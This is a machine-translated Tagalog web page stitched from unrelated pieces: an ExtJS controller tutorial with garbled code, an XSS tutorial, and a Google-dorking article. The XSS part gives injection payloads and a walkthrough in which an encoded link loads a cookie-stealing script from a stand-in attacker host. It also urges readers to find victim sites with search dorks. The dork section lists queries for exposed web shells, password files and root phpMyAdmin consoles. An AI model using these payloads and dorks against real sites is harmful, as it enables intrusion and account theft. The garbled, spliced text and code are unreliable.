Inurl livre php msg alerto matapang. Paglikha ng mga controller sa ExtJS. Paghahanap ng mga salita gamit ang mga karagdagang operator

Huling na-update: 11/1/2015

Ang controller ay ang pangunahing link na nag-uugnay sa lahat ng bahagi ng application nang magkasama at pinapagana ang mga ito. Idagdag sa catalog BookApp/app/controller file Books.js na may sumusunod na nilalaman:

Ext.define("BookApp.controller.Books", ( extend: "Ext.app.Controller", view: ["BookList", "Book"], mga tindahan: ["BookStore"], mga modelo: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( click: this.createBook), "bookwindow button": ( click: this.updateBook ), "bookwindow button": ( click: this.deleteBook), "bookwindow button": ( click: this.clearForm )), // update updateBook: function(button) ( var win = button.up(" window") , form = win.down("form"), values ​​​​= form.getValues(), id = form.getRecord().get("id"); url: "app/data/update.php", params: values, success: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); else( Ext.Msg.alert("Update","Nabigong i-update ang aklat sa library "); ) ) )); ), // paggawa ng createBook: function(button) ( var win = button.up("window"), form = win.down("form"), values ​​= form.getValues ();

Ext.Ajax.request(( url: "app/data/create.php", params: values, success: function(response, options)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"Nabigong magdagdag ng aklat sa library");

Mga View: ["BookList", "Book"], mga tindahan: ["BookStore"], mga modelo: ["Book"],

Susunod, sa init na parameter, gamit ang function, sinisimulan namin ang mga handler ng button na mayroon kami sa view. Tinutulungan ka ng control function na iugnay ang mga humahawak sa mga bahagi. Ang function na ito ay gumagamit ng Ext.ComponentQuery class, na nagbibigay-daan sa iyong gumamit ng CSS style selector para maghanap ng mga elemento. Halimbawa, ang expression na "viewport > booklist" ay naghahanap ng mga elemento na may alias na booklist na tinukoy sa viewport component. Ang tagapili na ito ay magtatapos sa isang representasyon ng BookList.

At ang expression na "bookwindow button" ay makakakuha ng button na ang action property ay nakatakda sa bago at matatagpuan sa bookwindow element, iyon ay, sa Book view, na may alias na bookwindow. Kaya, kung pamilyar ka sa mga tagapili ng CSS, hindi magiging mahirap para sa iyo na maunawaan kung paano gumagana ang mga tagapili sa ExtJS.

"viewport > booklist": (itemdblclick: this.editBook )

Ang lahat ng mga function ng handler ay tinukoy pagkatapos ng init function. Nilo-load ng this.editBook handler ang napiling modelo sa window:

EditBook: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(record); )

Gamit ang Ext.widget na paraan, nakita namin ang gustong bahagi gamit ang Ext.ComponentQuery selector (ang expression na ito ay magiging katulad ng Ext.create("widget.bookwindow") na expression) at pagkatapos ay makuha ang child element nito gamit ang down na paraan, gayundin gamit ang selector. At pagkatapos ay i-load namin ang napiling modelo sa form.

Pagkatapos i-load ang modelo, mayroon kaming tatlong opsyon: magdagdag ng bagong aklat, baguhin ang napili, o tanggalin ang napili. At dito pumapasok ang mga humahawak para sa mga button na ito. Dahil ang mga humahawak ay pareho ang uri, susuriin namin ang isa sa kanila.

Ang handler ng updateBook ay tumatanggap ng data ng binagong aklat at nagpapadala ng kahilingan sa Ajax sa server:

UpdateBook: function(button) ( var win = button.up("window"), form = win.down("form"), values ​​= form.getValues(), id = form.getRecord().get( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: values, success: function(response)( var data=Ext.decode(response. responseText); if(data.success)( var store = Ext.widget("booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("Update","Nabigong i-update ang aklat sa library" ) ) );

Natatanggap ng handler ang pinindot na button bilang isang parameter at pagkatapos ay gamit ang up na paraan maaari nating makuha ang mga pangunahing elemento ng button na ito: function(button) (var win= button.up("window")...

Gamit ang mga halaga ng expression = form.getValues() nakukuha namin ang lahat ng mga halaga ng mga patlang ng form, ngunit dahil kapag nagbabago kapag nakikipag-ugnayan sa database, halimbawa, kinakailangan ang isang id, pagkatapos ay idinagdag din namin ang id ng modelo na ina-update sa variable ng mga halaga.

Susunod, nagpapadala kami ng kahilingan ng Ajax na may bagong data ng libro sa server, na ipinapasa ang variable ng mga halaga bilang parameter sa kahilingan. Pagtanggap ng file update.php(na dapat ay nasa folder BookApp/app/data) ay maaaring makatanggap ng mga naipasa na mga parameter tulad nito:

At sa dulo, sa pag-andar ng tagumpay, tinitingnan namin ang resulta na ipinadala ng server bilang tugon, at kung maayos ang lahat, pagkatapos ay i-download namin ang na-update na data mula sa server.

Ang iba pang dalawang humahawak ay gumagana sa isang katulad na prinsipyo.

At sa pinakadulo ay babaguhin namin ang file ng aplikasyon app.js upang tanggapin nito ang controller na nilikha sa itaas tulad nito:

Ext.application(( nangangailangan ng: ["Ext.container.Viewport"], pangalan: "BookApp", appFolder: "app", controllers: ["Books"], launch: function() ( Ext.create("Ext. container.Viewport", ( layout: "fit", item: ( xtype: "booklist") )); ) ));

Sa mga controllers: ["Books"] property tinukoy namin ang controller na ginawa sa itaas.

Ngayon ang application ay handa na at maaaring ilunsad:

Kaya, maaari naming ilapat ang MVC pattern sa pagbuo ng Ext JS application.

Ang cross-site scripting (XSS) ay isang kahinaan na kinabibilangan ng pag-inject ng client-side code (JavaScript) sa isang web page na tinitingnan ng ibang mga user.

Ang kahinaan ay dahil sa hindi sapat na pag-filter ng data na isinumite ng user para ipasok sa web page. Ito ay mas madaling maunawaan sa isang kongkretong halimbawa. Tandaan ang anumang guest book - ito ay mga program na idinisenyo upang tanggapin ang data mula sa user at pagkatapos ay ipakita ito. Isipin natin na hindi sinusuri o sinasala ng guest book ang ipinasok na data sa anumang paraan, ngunit ipinapakita lamang ang mga ito.

Maaari mong i-sketch ang iyong pinakasimpleng script (walang mas madali kaysa sa pagsulat ng masamang script sa PHP - maraming tao ang gumagawa nito). Ngunit mayroon nang maraming handa na mga pagpipilian. Halimbawa, iminumungkahi kong magsimula sa Dojo at OWASP Mutillidae II. Mayroong katulad na halimbawa doon. Sa isang standalone na Dojo environment, pumunta sa link na ito sa iyong browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Kung ang isa sa mga gumagamit ay pumasok:

Ipapakita ng web page ang:

Hello! Gusto ko ang iyong site.

At kung ipasok ito ng user:

Hello! Gusto ko ang iyong site.alert("Pwned")

Pagkatapos ito ay ipapakita tulad nito:

Ang mga browser ay nag-iimbak ng maraming cookies para sa isang malaking bilang ng mga site. Ang bawat site ay makakatanggap lamang ng cookies na naka-save nang mag-isa. Halimbawa, ang example.com ay nag-imbak ng ilang cookies sa iyong browser. Kung bibisita ka sa another.com, hindi ma-access ng site na ito (mga script ng client at server) ang cookies na inimbak ng example.com.

Kung ang example.com ay mahina sa XSS, nangangahulugan ito na kahit papaano ay maaari kaming mag-inject ng JavaScript code dito, at ang code na iyon ay isasagawa sa ngalan ng example.com! Yung. Maa-access ng code na ito, halimbawa, ang cookies ng example.com.

Sa palagay ko naaalala ng lahat na ang JavaScript ay isinasagawa sa mga browser ng gumagamit, i.e. sa pagkakaroon ng XSS, ang naka-embed na malisyosong code ay nakakakuha ng access sa data ng user na nagbukas ng pahina ng website.

Magagawa ng naka-embed na code ang lahat ng magagawa ng JavaScript, lalo na:

  • nakakakuha ng access sa cookies ng website na iyong tinitingnan
  • maaaring gumawa ng anumang mga pagbabago sa hitsura ng pahina
  • ina-access ang clipboard
  • maaaring magpatupad ng mga JavaScript program, halimbawa, mga keylogger (keystroke interceptors)
  • kunin sa BeEF
  • atbp.

Ang pinakasimpleng halimbawa sa cookies:

alerto(document.cookie)

Sa katunayan, ang alerto ay ginagamit lamang upang makita ang XSS. Ang tunay na nakakahamak na payload ay nagsasagawa ng mga nakatagong aksyon. Lihim itong nakikipag-ugnayan sa malayong server ng umaatake at naglilipat ng ninakaw na data dito.

Mga uri ng XSS

Ang pinakamahalagang bagay na dapat maunawaan tungkol sa mga uri ng XSS ay ang mga ito ay:

  • Naka-imbak (Permanente)
  • Sinasalamin (Fickle)

Halimbawa ng mga constants:

  • Ang isang espesyal na ginawang mensahe na ipinasok ng attacker sa guest book (komento, forum message, profile), na naka-save sa server, ay dina-download mula sa server sa tuwing humihiling ang mga user na ipakita ang pahinang ito.
  • Nakuha ng attacker ang access sa data ng server, halimbawa, sa pamamagitan ng SQL injection, at ipinakilala ang nakakahamak na JavaScript code (na may mga kilologger o BeEF) sa data na ibinigay sa user.

Halimbawa ng mga hindi permanente:

  • Mayroong paghahanap sa site na, kasama ng mga resulta ng paghahanap, ay nagpapakita ng isang bagay tulad ng "Hinanap mo ang: [string ng paghahanap]", at ang data ay hindi na-filter nang maayos. Dahil ang naturang page ay ipinapakita lamang sa taong may link dito, hindi gagana ang pag-atake hangga't hindi ipinapadala ng attacker ang link sa ibang mga user ng site. Sa halip na magpadala ng link sa biktima, maaari mong gamitin ang paglalagay ng malisyosong script sa isang neutral na site na binibisita ng biktima.

Nakikilala rin nila (ang ilan ay isang uri ng hindi paulit-ulit na mga kahinaan sa XSS, sinasabi ng ilan na ang ganitong uri ay maaari ding maging isang uri ng paulit-ulit na XSS):

  • Mga modelo ng DOM
Mga tampok ng XSS na nakabatay sa DOM

Sa madaling salita, makikita natin ang malisyosong code ng "regular" na hindi paulit-ulit na XSS kung bubuksan natin ang HTML code. Halimbawa, ang link ay nabuo tulad nito:

Http://example.com/search.php?q="/>alerto(1)

At kapag binuksan namin ang source HTML code, may makikita kaming ganito:

alert(1)" /> Hanapin

At binago ng DOM XSS ang istraktura ng DOM, na mabilis na nabuo sa browser, at makikita lang natin ang malisyosong code kapag tinitingnan ang nabuong istraktura ng DOM. Ang HTML ay hindi nagbabago. Kunin natin ang code na ito bilang isang halimbawa:

site:::DOM XSS Nagkaroon ng error... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad();

")

document.write("Ang iyong session ID ay: " + display_session + "

Pagkatapos sa browser makikita natin:

source code ng page:

Buuin natin ang address tulad nito:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Ngayon ang pahina ay ganito ang hitsura:

Ngunit tingnan natin ang source code ng HTML:

Wala namang nagbago doon. Ito ang aking pinag-uusapan, kailangan nating tingnan ang istruktura ng DOM ng dokumento upang makilala ang malisyosong code:

Narito ang isang gumaganang prototype ng XSS, para sa isang tunay na pag-atake kailangan namin ng isang mas kumplikadong payload, na hindi posible dahil sa katotohanan na ang application ay huminto sa pagbabasa pagkatapos ng semicolon, at isang bagay tulad ng alert(1);alert(2) ay hindi mas matagal posible. Gayunpaman, salamat sa unescape() maaari kaming gumamit ng payload na tulad nito sa return data:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Maaari na tayong magsulat ng malisyosong JavaScript payload at bumuo ng link na ipapadala sa biktima, gaya ng ginagawa para sa karaniwang hindi tuluy-tuloy na cross-site na script.

XSS Auditor

Sa Google Chrome (at gayundin sa Opera, na ngayon ay gumagamit ng Google Chrome engine), ang sorpresang ito ay naghihintay sa akin:

dom_xss.html:30 Tumanggi ang XSS Auditor na magsagawa ng script sa "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" dahil natagpuan ang source code nito sa loob ng kahilingan. Pinagana ang auditor dahil hindi nagpadala ang server ng "X-XSS-Protection" o "Content-Security-Policy" header.

Yung. ang browser ay mayroon na ngayong XSS auditor na susubukan na pigilan ang XSS. Wala pang ganitong functionality ang Firefox, ngunit sa tingin ko ito ay isang bagay ng oras. Kung matagumpay ang pagpapatupad sa mga browser, maaari nating pag-usapan ang isang malaking kahirapan sa paggamit ng XSS.

Magandang tandaan na ang mga modernong browser ay gumagawa ng mga hakbang upang limitahan ang antas ng mga mapagsamantalang problema tulad ng hindi paulit-ulit na XSS at DOM-based na XSS. Ito rin ay isang bagay na dapat tandaan kapag sinusubukan ang mga website gamit ang isang browser - maaaring lumabas na ang web application ay mahina, ngunit hindi mo nakikita ang pop-up na kumpirmasyon lamang dahil hinaharangan ito ng browser.

Mga halimbawa ng pagsasamantala sa XSS

Ang mga umaatake na nagnanais na pagsamantalahan ang mga kahinaan sa cross-site na scripting ay dapat lumapit sa bawat klase ng kahinaan sa ibang paraan. Ang mga vector ng pag-atake para sa bawat klase ay inilarawan dito.

Para sa mga kahinaan ng XSS, maaaring gamitin ng mga pag-atake ang BeEF, na nagpapalawak ng pag-atake mula sa website hanggang sa lokal na kapaligiran ng mga user.

Halimbawa ng hindi paulit-ulit na pag-atake ng XSS

1. Madalas bumisita si Alice sa isang partikular na website na hino-host ni Bob. Ang website ni Bob ay nagpapahintulot kay Alice na mag-log in gamit ang isang username/password at mag-imbak ng sensitibong data gaya ng impormasyon sa pagbabayad. Kapag nag-log in ang isang user, nag-iimbak ang browser ng cookies ng pahintulot, na mukhang walang kahulugan na mga character, i.e. parehong mga computer (kliyente at server) tandaan na siya ay pumasok.

2. Sinabi ni Mallory na ang website ni Bob ay naglalaman ng isang hindi patuloy na kahinaan sa XSS:

2.1 Kapag binisita mo ang pahina ng paghahanap, ipasok ang string ng paghahanap at i-click ang pindutang isumite, kung walang nakitang mga resulta, ipinapakita ng pahina ang ipinasok na string ng paghahanap na sinusundan ng mga salitang "hindi nahanap" at ang url ay mukhang http://bobssite .org?q= kanyang query sa paghahanap

2.2 Sa isang normal na query sa paghahanap tulad ng salitang "mga aso", ang pahina ay nagpapakita lamang ng "walang aso na natagpuan" at ang url na http://bobssite.org?q=dogs, na ganap na normal na pag-uugali.

2.3 Gayunpaman, kapag ang isang maanomalyang query sa paghahanap tulad ng alert("xss"); :

2.3.1 May lalabas na mensahe ng babala (na nagsasabing "xss").

2.3.2 Ang pahina ay nagpapakita ng alerto("xss"); hindi natagpuan kasama ng isang mensahe ng error na may tekstong "xss".

2.3.3 url na angkop para sa pagsasamantala http://bobssite.org?q=alert("xss");

3. Bumuo si Mallory ng URL para samantalahin ang kahinaan:

3.1 Ginagawa niya ang URL na http://bobssite.org?q=puppies. Maaari niyang piliing i-convert ang mga ASCII na character sa hexadecimal na format gaya ng http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E upang upang pigilan ang mga tao na agad na ma-decipher ang isang nakakahamak na URL.

3.2 Nag-email siya sa ilang hindi inaasahang miyembro ng site ni Bob na nagsasabing, "Tingnan ang mga cool na aso."

4. Nakatanggap ng liham si Alice. Mahilig siya sa mga aso at nag-click sa link. Pumunta siya sa site ni Bob sa paghahanap, wala siyang mahanap, "no dog found" ay ipinapakita doon, at sa pinakagitna isang tag na may script ay inilunsad (ito ay hindi nakikita sa screen), nagda-download at nag-execute ng Mallory's authstealer.js program (nagti-trigger ng XSS attack). Nakalimutan ito ni Alice.

5. Ang authstealer.js program ay tumatakbo sa browser ni Alice na parang nagmula ito sa website ni Bob. Kumuha siya ng kopya ng cookies ng awtorisasyon ni Alice at ipinadala ang mga ito sa server ni Malory, kung saan kinukuha ito ni Malory.

7. Ngayong nasa loob na si Mallory, pumunta siya sa seksyon ng pagbabayad ng website, tumingin at nagnakaw ng kopya ng numero ng credit card ni Alice. Pagkatapos ay pumunta siya at binago ang password, i.e. Ngayon ay hindi na rin makapasok si Alice.

8. Nagpasya siyang gawin ang susunod na hakbang at ipinadala ang link na ginawa sa ganitong paraan kay Bob mismo, at sa gayon ay tumatanggap ng mga pribilehiyong pang-administratibo para sa site ni Bob.

Patuloy na pag-atake ng XSS

  • May account si Mallory sa website ni Bob.
  • Napansin ni Mallory na ang website ni Bob ay naglalaman ng patuloy na kahinaan sa XSS. Kung pupunta ka sa isang bagong seksyon at mag-post ng komento, ipapakita nito ang anumang nai-type dito. Ngunit kung ang teksto ng komento ay naglalaman ng mga HTML na tag, ang mga tag na iyon ay ire-render sa kasalukuyan, at anumang mga script tag ay isasagawa.
  • Nagbabasa si Mallory ng isang artikulo sa seksyong Balita at nagsusulat ng komento sa seksyon ng Mga Komento. Sa komento ay ipinasok niya ang teksto:
  • Nagustuhan ko talaga ang mga aso sa kwentong ito. Napakabait nila!
  • Kapag nag-load si Alice (o sinuman) ng page na may ganitong komento, tatakbo ang script tag ni Malory at ninanakaw ang authorization cookie ni Alice, na ipinapadala ito sa secret server ni Malory para sa koleksyon.
  • Maaari na ngayong i-hijack ni Mallory ang session ni Alice at gayahin si Alice.
  • Paghahanap ng mga site na mahina sa XSS

    Dorks para sa XSS

    Ang unang hakbang ay ang piliin ang mga site kung saan kami magsasagawa ng mga pag-atake ng XSS. Maaaring maghanap ng mga site gamit ang Google dorks. Narito ang ilan sa mga dork na ito na maaari mong kopyahin at i-paste sa isang paghahanap sa Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Isang listahan ng mga site ang magbubukas sa harap namin. Kailangan mong buksan ang site at maghanap ng mga input field dito, gaya ng feedback form, input form, site search, atbp.

    Hayaan akong tandaan kaagad na halos walang silbi na maghanap ng mga kahinaan sa sikat na awtomatikong na-update na mga web application. Ang isang klasikong halimbawa ng naturang application ay WordPress. Sa katunayan, may mga kahinaan sa WordPress, at lalo na sa mga plugin nito. Bukod dito, maraming mga site na hindi nag-a-update alinman sa WordPress engine (dahil sa katotohanan na ang webmaster ay gumawa ng ilang mga pagbabago sa source code) o ang kanilang mga plugin at tema (bilang panuntunan, ito ay mga pirated na plugin at tema). Ngunit kung babasahin mo ang seksyong ito at matuto ng bago mula rito, hindi pa para sa iyo ang WordPress... Tiyak na babalikan namin ito mamaya.

    Ang pinakamahusay na mga layunin ay isang iba't ibang mga self-written engine at script.

    Maaari mong piliin ang insert payload bilang

    alerto(1)

    Bigyang-pansin kung sa aling mga tag ng HTML code nahuhulog ang iyong naka-embed na code. Narito ang isang halimbawa ng karaniwang input field:

    alerto(1)

    Ang aming kargamento ay mapupunta kung saan ang salitang "punan ng unan" ay ngayon. Yung. maging halaga ng input tag. Maiiwasan natin ito - isinasara natin ang double quote, at pagkatapos ay ang tag mismo na may "/>

    "/>alerto(1)

    Subukan natin ito para sa ilang site:

    Mahusay, mayroong isang kahinaan

    Mga programa para sa paghahanap at pag-scan ng mga kahinaan ng XSS

    Marahil lahat ng web application scanner ay may built-in na XSS vulnerability scanner. Ang paksang ito ay hindi komprehensibo; mas mahusay na pamilyar sa bawat katulad na scanner nang hiwalay.

    Mayroon ding mga espesyal na tool para sa pag-scan para sa mga kahinaan ng XSS. Kabilang sa mga ito ay maaari naming partikular na i-highlight:

    • Ang XSSer ay hindi lamang isang makapangyarihang scanner na maaaring gumamit ng iba't ibang paraan ng pag-inject at pag-bypass ng pag-filter, isa rin itong automated na tool para sa paghahanap ng mga site na vulnerable sa XSS (by dorks). Para sa mga site na may nakitang mga kahinaan, maaari itong mag-inject ng payload para sa isang tunay na pag-atake;
    • Ang XssPy ay isa ring medyo independiyenteng tool na mahahanap ang lahat ng page ng isang site (kabilang ang mga nasa subdomain) at suriin ang lahat ng input elements sa mga page na ito;

    USSCLTD Mayo 10, 2016 sa 12:38 pm

    Naghahanap ng mga kahinaan gamit ang Google
    • Seguridad ng impormasyon

    Ang anumang paghahanap para sa mga kahinaan sa mga mapagkukunan ng web ay nagsisimula sa reconnaissance at pagkolekta ng impormasyon.
    Ang katalinuhan ay maaaring maging aktibo - malupit na puwersa ng mga file at direktoryo ng isang site, pagpapatakbo ng mga scanner ng kahinaan, manu-manong pagba-browse sa site, o passive - paghahanap ng impormasyon sa iba't ibang mga search engine. Minsan nangyayari na ang isang kahinaan ay nalaman bago pa man buksan ang unang pahina ng site.

    Paano ito posible?
    Ang mga robot sa paghahanap, na patuloy na naglilibot sa Internet, bilang karagdagan sa impormasyong kapaki-pakinabang sa karaniwang gumagamit, ay kadalasang nagtatala ng mga bagay na maaaring gamitin ng mga umaatake sa pag-atake sa isang mapagkukunan ng web. Halimbawa, mga error sa script at mga file na may sensitibong impormasyon (mula sa mga file ng pagsasaayos at mga log hanggang sa mga file na may data sa pagpapatunay at mga backup ng database).
    Mula sa punto ng view ng isang robot sa paghahanap, ang isang mensahe ng error tungkol sa pagsasagawa ng isang sql query ay plain text, hindi mapaghihiwalay, halimbawa, mula sa paglalarawan ng mga produkto sa pahina. Kung biglang may nakitang robot sa paghahanap ng file na may extension na .sql, na sa ilang kadahilanan ay napunta sa gumaganang folder ng site, makikita ito bilang bahagi ng nilalaman ng site at mai-index din (kabilang ang, posibleng, ang mga password tinukoy sa loob nito).

    Ang ganitong impormasyon ay mahahanap sa pamamagitan ng pag-alam ng malakas, kadalasang natatangi, mga keyword na tumutulong sa paghiwalayin ang "mahina na mga pahina" mula sa mga pahinang walang mga kahinaan.
    Ang isang malaking database ng mga espesyal na query gamit ang mga keyword (tinatawag na dorks) ay umiiral sa exploit-db.com at kilala bilang ang Google Hack Database.

    Bakit google?
    Pangunahing naka-target ang mga Dork sa Google para sa dalawang dahilan:
    − ang pinaka-flexible na syntax ng mga keyword (ipinapakita sa Talahanayan 1) at mga espesyal na character (ipinapakita sa Talahanayan 2);
    − ang Google index ay mas kumpleto pa rin kaysa sa iba pang mga search engine;

    Talahanayan 1 - Mga pangunahing keyword ng Google

    Keyword
    Ibig sabihin
    Halimbawa
    site
    Maghanap lamang sa tinukoy na site. Isinasaalang-alang lamang ang url ng account
    site:somesite.ru - mahahanap ang lahat ng mga pahina sa isang ibinigay na domain at mga subdomain
    inurl
    Maghanap sa pamamagitan ng mga salita na nasa uri. Hindi tulad ni cl. mga salitang "site", naghahanap ng mga tugma pagkatapos ng pangalan ng site
    inurl:news - hinahanap ang lahat ng pahina kung saan lumalabas ang ibinigay na salita sa uri
    intext
    Maghanap sa katawan ng pahina
    intext:”traffic jams” - ganap na katulad ng karaniwang kahilingan para sa “traffic jams”
    intitle
    Maghanap sa pamagat ng pahina. Text sa pagitan ng mga tag
    intitle:”index of” - mahahanap ang lahat ng page na may mga listahan ng direktoryo
    ext
    Maghanap ng mga page na may tinukoy na extension
    ext:pdf - hinahanap ang lahat ng pdf file
    uri ng file
    Sa kasalukuyan, ganap na katulad ng klase. ang salitang "ext"
    filetype:pdf - katulad
    kaugnay
    Maghanap ng mga site na may katulad na paksa
    related:google.ru - ay magpapakita ng mga analogue nito
    link
    Maghanap ng mga site na nagli-link dito
    link:somesite.ru - mahahanap ang lahat ng mga site na may link dito
    tukuyin
    Ipakita ang kahulugan ng salita
    define:0day - kahulugan ng termino
    cache
    Ipakita ang mga nilalaman ng pahina sa cache (kung mayroon)
    cache:google.com - magbubukas ng naka-cache na pahina

    Talahanayan 2 - Mga espesyal na character para sa mga query sa Google

    Simbolo
    Ibig sabihin
    Halimbawa

    Eksaktong parirala
    intitle: "Pahina ng configuration ng router ng router" - maghanap ng mga router
    *
    Kahit anong text
    inurl: “bitrix*mcart” - maghanap ng mga site sa bitrix na may mahinang module ng mcart
    .
    Kahit anong karakter
    Index.of - katulad ng index ng kahilingan
    -
    Magtanggal ng salita
    error -warning - ipakita ang lahat ng page na may error ngunit walang babala
    ..
    Saklaw
    cve 2006..2016 - ipakita ang mga kahinaan ayon sa taon simula sa 2006
    |
    Lohikal na "o"
    linux | windows - ipakita ang mga pahina kung saan lumalabas ang una o pangalawang salita

    Ito ay nagkakahalaga ng pag-unawa na ang anumang kahilingan sa isang search engine ay isang paghahanap lamang sa pamamagitan ng mga salita.
    Walang silbi ang paghahanap ng mga meta-character sa page (quotes, parentheses, punctuation marks, atbp.). Kahit na ang paghahanap para sa eksaktong pariralang tinukoy sa mga panipi ay isang paghahanap ng salita, na sinusundan ng paghahanap para sa eksaktong tugma sa mga resulta.

    Lahat ng Google Hack Database dorks ay lohikal na nahahati sa 14 na kategorya at ipinakita sa Talahanayan 3.
    Talahanayan 3 – Mga Kategorya ng Google Hack Database

    Kategorya
    Ano ang nagpapahintulot sa iyo na mahanap
    Halimbawa
    Mga paanan
    Mga web shell, mga pampublikong file manager
    Hanapin ang lahat ng na-hack na site kung saan ina-upload ang mga nakalistang webshell:
    (intitle:"phpshell" O intitle:"c99shell" O intitle:"r57shell" O intitle:"PHP Shell" O intitle:"phpRemoteView") `rwx` "uname"
    Mga file na naglalaman ng mga username
    Mga file ng rehistro, mga file ng pagsasaayos, mga log, mga file na naglalaman ng kasaysayan ng mga ipinasok na utos
    Hanapin ang lahat ng registry file na naglalaman ng impormasyon ng account:
    filetype:reg reg +intext:"internet account manager"
    Mga Sensitibong Direktoryo
    Mga direktoryo na may iba't ibang impormasyon (mga personal na dokumento, vpn config, mga nakatagong repositoryo, atbp.)
    Hanapin ang lahat ng listahan ng direktoryo na naglalaman ng mga file na nauugnay sa VPN:
    "Config" intitle:"Index of" intext:vpn
    Mga site na naglalaman ng mga git repository:
    (intext:"index ng /.git") ("direktoryo ng magulang")
    Pagtukoy sa Web Server
    Bersyon at iba pang impormasyon tungkol sa web server
    Maghanap ng mga administrative console ng JBoss server:
    inurl:"/web-console/" intitle:"Administration Console"
    Mga Maaapektuhang File
    Mga script na naglalaman ng mga kilalang kahinaan
    Maghanap ng mga site na gumagamit ng script na nagbibigay-daan sa iyong mag-upload ng arbitrary na file mula sa server:
    allinurl:forcedownload.php?file=
    Mga Mahinang Server
    Mga script sa pag-install, web shell, bukas na administrative console, atbp.
    Maghanap ng mga bukas na PHPMyAdmin console na tumatakbo bilang root:
    intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"
    Mga Mensahe ng Error
    Ang iba't ibang mga error at babala ay madalas na nagpapakita ng mahalagang impormasyon - mula sa bersyon ng CMS hanggang sa mga password
    Mga site na may mga error sa pagsasagawa ng mga query sa SQL sa database:
    "Babala: mysql_query()" "invalid query"
    Mga file na naglalaman ng makatas na impormasyon
    Mga certificate, backup, email, log, SQL script, atbp.
    Maghanap ng mga script ng initialization sql:
    filetype:sql at “insert into” -site:github.com
    Mga file na naglalaman ng mga password
    Anumang bagay na maaaring maglaman ng mga password - mga log, sql script, atbp.
    Mga log na nagbabanggit ng mga password:
    uri ng file:logintext:password |pumasa |pw
    sql script na naglalaman ng mga password:
    ext:sqlintext:usernameintext:password
    Sensitibong Impormasyon sa Online Shopping
    Impormasyong nauugnay sa mga online na pagbili
    Maghanap ng mga pincode:
    dcid=bn=pincode=
    Data ng network o kahinaan
    Ang impormasyong hindi direktang nauugnay sa mapagkukunan ng web, ngunit nakakaapekto sa network o iba pang mga serbisyong hindi web
    Maghanap ng mga awtomatikong proxy configuration script na naglalaman ng impormasyon tungkol sa panloob na network:
    inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
    Mga pahinang naglalaman ng mga portal sa pag-login
    Mga pahinang naglalaman ng mga form sa pag-login
    saplogon web page:
    intext:"2016 SAP AG. Nakalaan ang lahat ng karapatan." intitle: "Logon"
    Iba't ibang Online na Device
    Mga printer, router, monitoring system, atbp.
    Hanapin ang panel ng configuration ng printer:
    pamagat:"hplaserjet"inurl:SSI/Auth/set_config_impormasyon ng device.htm
    Mga Advisory at Mga Kahinaan
    Mga website sa mga vulnerable na bersyon ng CMS
    Maghanap ng mga mahihinang plugin kung saan maaari kang mag-upload ng arbitrary na file sa server:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Ang mga Dorks ay mas madalas na nakatuon sa paghahanap sa lahat ng mga site sa Internet. Ngunit walang pumipigil sa iyo na limitahan ang saklaw ng paghahanap sa anumang site o site.
    Ang bawat query sa Google ay maaaring ituon sa isang partikular na site sa pamamagitan ng pagdaragdag ng keyword na "site:somesite.com" sa query. Maaaring idagdag ang keyword na ito sa anumang dork.

    Pag-automate ng paghahanap para sa mga kahinaan
    Ito ay kung paano ipinanganak ang ideya na magsulat ng isang simpleng utility na nag-automate sa paghahanap ng mga kahinaan gamit ang isang search engine (google) at umaasa sa Google Hack Database.

    Ang utility ay isang script na nakasulat sa mga nodej gamit ang phantomjs. Upang maging tumpak, ang script ay binibigyang kahulugan ng phantomjs mismo.
    Ang Phantomjs ay isang ganap na web browser na walang GUI, kinokontrol ng js code at may maginhawang API.
    Ang utility ay nakatanggap ng isang medyo naiintindihan na pangalan - dorks. Sa pamamagitan ng pagpapatakbo nito sa command line (nang walang mga opsyon), nakakakuha kami ng maikling tulong sa ilang halimbawa ng paggamit:


    Figure 1 - Listahan ng mga pangunahing opsyon sa dorks

    Ang pangkalahatang syntax ng utility ay: dork “command” “option list”.
    Ang isang detalyadong paglalarawan ng lahat ng mga pagpipilian ay ipinakita sa Talahanayan 4.

    Talahanayan 4 - Dorks syntax

    Koponan
    Pagpipilian
    Paglalarawan
    ghdb
    -l
    Mag-print ng may bilang na listahan ng mga kategorya ng dork sa Google Hack Database
    -c "numero o pangalan ng kategorya"
    I-load ang mga pinto ng tinukoy na kategorya ayon sa numero o pangalan
    -q "parirala"
    I-download ang mga dorks na natagpuan ayon sa kahilingan
    -o "file"
    I-save ang resulta sa isang file (may mga pagpipilian lamang -c|-q)
    google
    -d "dork"
    Magtakda ng di-makatwirang dork (maaaring magamit ang opsyon nang maraming beses, pinapayagan ang kumbinasyon sa -D na opsyon)
    -D "file"
    Gumamit ng dorks mula sa file
    -s "site"
    Itakda ang site (maaaring gamitin ang opsyon nang maraming beses, pinapayagan ang kumbinasyon sa opsyon -S)
    -S "file"
    Gumamit ng mga site mula sa isang file (hahanapin ang mga dorks para sa bawat site nang hiwalay)
    -f "filter"
    Magtakda ng mga karagdagang keyword (idaragdag sa bawat dork)
    -t "bilang ng ms"
    Interval sa pagitan ng mga kahilingan sa google
    -T "bilang ng ms"
